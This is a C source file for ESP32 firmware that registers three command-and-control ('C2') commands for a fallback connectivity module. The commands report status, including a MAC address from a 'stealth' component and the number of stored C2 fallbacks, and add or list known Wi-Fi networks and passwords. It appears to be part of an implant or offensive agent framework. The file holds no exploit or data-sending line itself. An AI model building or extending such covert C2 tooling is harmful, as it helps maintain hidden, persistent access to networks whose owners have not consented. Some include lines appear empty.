/* * cmd_fallback.c * Fallback resilient connectivity — 3 C2 commands for pre-configuration. * * The hunt itself is fully autonomous (no C2 command to start it). * These commands are for status + pre-loading known networks while connected. */ #include "sdkconfig.h" #include "cmd_fallback.h" #ifdef CONFIG_MODULE_FALLBACK #include #include #include "esp_log.h" #include "utils.h" #include "fb_config.h" #include "fb_hunt.h" #include "fb_stealth.h" #define TAG "FB" /* ============================================================ * COMMAND: fb_status * Report state, SSID, method, MAC, stored networks count. * ============================================================ */ static int cmd_fb_status(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; fb_state_t state = fb_hunt_get_state(); uint8_t mac[6]; fb_stealth_get_current_mac(mac); char buf[256]; snprintf(buf, sizeof(buf), "state=%s ssid=%s method=%s mac=%02X:%02X:%02X:%02X:%02X:%02X" " nets=%d c2_fb=%d", fb_hunt_state_name(state), fb_hunt_connected_ssid(), fb_hunt_connected_method(), mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], fb_config_net_count(), fb_config_c2_count()); msg_info(TAG, buf, req); return 0; } /* ============================================================ * COMMAND: fb_net_add [pass] * Add/update a known network. Pass "" to remove. * ============================================================ */ static int cmd_fb_net_add(int argc, char **argv, const char *req, void *ctx) { (void)ctx; if (argc < 1) { msg_error(TAG, "usage: fb_net_add [pass]", req); return -1; } const char *ssid = argv[0]; const char *pass = (argc >= 2) ? argv[1] : ""; /* Empty string for pass means "remove" */ if (argc >= 2 && strcmp(pass, "\"\"") == 0) { if (fb_config_net_remove(ssid)) { char buf[96]; snprintf(buf, sizeof(buf), "Removed network '%s'", ssid); msg_info(TAG, buf, req); } else { msg_error(TAG, "Network not found", req); } return 0; } if (fb_config_net_add(ssid, pass)) { char buf[96]; snprintf(buf, sizeof(buf), "Added network '%s'", ssid); msg_info(TAG, buf, req); } else { msg_error(TAG, "Failed to add network (full?)", req); } return 0; } /* ============================================================ * COMMAND: fb_net_list * List known networks. * ============================================================ */ static int cmd_fb_net_list(int argc, char **argv, const char *req, void *ctx) { (void)argc; (void)argv; (void)ctx; fb_network_t nets[CONFIG_FB_MAX_KNOWN_NETWORKS]; int count = fb_config_net_list(nets, CONFIG_FB_MAX_KNOWN_NETWORKS); if (count == 0) { msg_info(TAG, "No known networks", req); return 0; } for (int i = 0; i < count; i++) { char line[128]; snprintf(line, sizeof(line), "[%d] ssid='%s' pass=%s", i, nets[i].ssid, nets[i].pass[0] ? "***" : "(open)"); msg_data(TAG, line, strlen(line), (i == count - 1), req); } return 0; } /* ============================================================ * Command table * ============================================================ */ static const command_t fb_cmds[] = { { .name = "fb_status", .sub = NULL, .help = "Fallback state, MAC, method, config", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_fb_status, .ctx = NULL, .async = false, }, { .name = "fb_net_add", .sub = NULL, .help = "Add known network: fb_net_add [pass]", .min_args = 1, .max_args = 2, .handler = (command_handler_t)cmd_fb_net_add, .ctx = NULL, .async = false, }, { .name = "fb_net_list", .sub = NULL, .help = "List known networks", .min_args = 0, .max_args = 0, .handler = (command_handler_t)cmd_fb_net_list, .ctx = NULL, .async = false, }, }; /* ============================================================ * Registration * ============================================================ */ void mod_fallback_register_commands(void) { ESPILON_LOGI_PURPLE(TAG, "Registering fallback commands"); fb_config_init(); fb_hunt_init(); for (size_t i = 0; i < sizeof(fb_cmds) / sizeof(fb_cmds[0]); i++) { command_register(&fb_cmds[i]); } } #else /* !CONFIG_MODULE_FALLBACK */ void mod_fallback_register_commands(void) { /* empty */ } #endif /* CONFIG_MODULE_FALLBACK */